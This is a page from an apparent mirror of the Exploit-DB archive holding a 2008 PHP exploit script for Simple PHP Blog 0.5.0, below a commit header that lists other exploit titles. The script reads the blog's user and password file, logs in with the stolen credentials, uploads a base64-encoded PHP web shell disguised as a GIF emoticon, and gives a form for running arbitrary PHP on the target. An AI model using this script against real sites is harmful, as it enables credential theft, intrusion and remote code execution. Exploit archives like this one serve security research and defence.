mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 14:01:27 -10:00
Offensive Security
477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
85 lines
3.1 KiB
PHP
Executable File
85 lines
3.1 KiB
PHP
Executable File
<?
|
|
/*
|
|
sIMPLE php bLOG 0.5.0 eXPLOIT
|
|
bY mAXzA 2008
|
|
*/
|
|
function curl($url,$postvar){
|
|
global $cook;
|
|
$ch = curl_init( $url );
|
|
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt ($ch, CURLOPT_HEADER, 1);
|
|
curl_setopt ($ch, CURLOPT_REFERER,"$url");
|
|
if (strlen($postvar)<3) $postvar="123";
|
|
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);
|
|
if (strlen($cook)>3)
|
|
curl_setopt ($ch, CURLOPT_COOKIE, "$cook");
|
|
$res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print "<hr>$err<hr>";
|
|
curl_close($ch);
|
|
return $res;
|
|
}
|
|
|
|
function error($msg){
|
|
print "<hr>$msg<hr>\n<h1>Not Exploitable";exit;
|
|
}
|
|
|
|
extract($_POST);extract($_GET);
|
|
|
|
print "<pre>URL:<form method=post><input size=80 name=url value=`$url`>";
|
|
if (strlen($eval)>3){
|
|
$eval=stripslashes($eval);
|
|
print "\nEnter PHP Command:\n<textarea name=eval rows=10 cols=90>$eval</textarea>";
|
|
print "<input type=submit value='Eval'></form>";
|
|
$res=curl("$url/images/emoticons/sphp.php","z=$eval");
|
|
$res=strstr($res,"GIF89a");
|
|
print substr($res,41);exit;
|
|
}
|
|
|
|
if (strlen($url)>10)
|
|
{
|
|
print "\n<hr>Trying to Get /config/users.php...";flush();
|
|
$res=curl($url."/config/users.php","");
|
|
if (strstr($res,'|')) print "Done!\n\n$res";
|
|
else error("\n\nUsername & Password Not Found\n\n$res");
|
|
|
|
print "\n<hr>Trying to Get Username & Password...";flush();
|
|
$res=str_replace("\r\n","\n",$res);
|
|
$res=substr($res,strpos($res,"\n\n")+2);
|
|
$line=explode("\n",$res);$n=count($line)-1;
|
|
if ($n) {
|
|
print "\nDone! Found - $n users:\n";
|
|
for ($x=0;$x<$n;$x++){
|
|
$up=explode("|",$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);
|
|
print "\nUsername - ".$up[1]."\tPassword - ".$up[2];
|
|
}
|
|
}
|
|
|
|
print "\n<hr>Trying to Login...";flush();
|
|
$postvar="user=$user[0]&pass=$pass[0]&";
|
|
$res=curl($url."/login_cgi.php","$postvar");
|
|
$cook=strstr($res,'Set-Cookie: sid=');
|
|
$cook=substr($cook,12,strpos($cook,';')-12);
|
|
if ($cook) print "\n\nDone... Cookie - $cook";else error("\n<h1>Error To Login</h1>\n\n\n$res");
|
|
|
|
print "\n<hr>Trying to Upload Emoticon...";flush();
|
|
$buf="R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8+Ow==";
|
|
if (@filesize('sphp.php')!=82){
|
|
$f=fopen('sphp.php',"w");fwrite($f,base64_decode($buf));fclose($f);
|
|
}
|
|
$f=getcwd()."/sphp.php";
|
|
$res=curl($url."/emoticons.php",array('user_emot'=>"@$f"));
|
|
if (strstr($res,"Success!")) print "\n\nDone! Exploit path - $url/images/emoticons/sphp.php"; else error("\n<h1>Error To Upload</h1>\n\n\n$res");
|
|
|
|
print "\n<hr>Trying to Exploit...";flush();
|
|
$res=curl($url."/images/emoticons/sphp.php","z=print 20080824;");
|
|
if (strstr($res,"20080824")) print "\n\nDone! Exploit Working!"; else error("\n<h1>Error To Exploit</h1>\n\n\n$res");
|
|
|
|
print "\n<hr>Trying to Logout...";flush();
|
|
$res=curl($url."/logout.php","");
|
|
if (strstr($res,"You are now logged out")) print "\n\nDone!"; else error("\n<h1>Error To Logout</h1>\n\n\n$res");
|
|
print "\nEnter PHP Command:\n<textarea name=eval rows=10 cols=90></textarea>";
|
|
}
|
|
print "<input type=submit ></form>";
|
|
?>
|
|
|
|
# milw0rm.com [2008-08-26]
|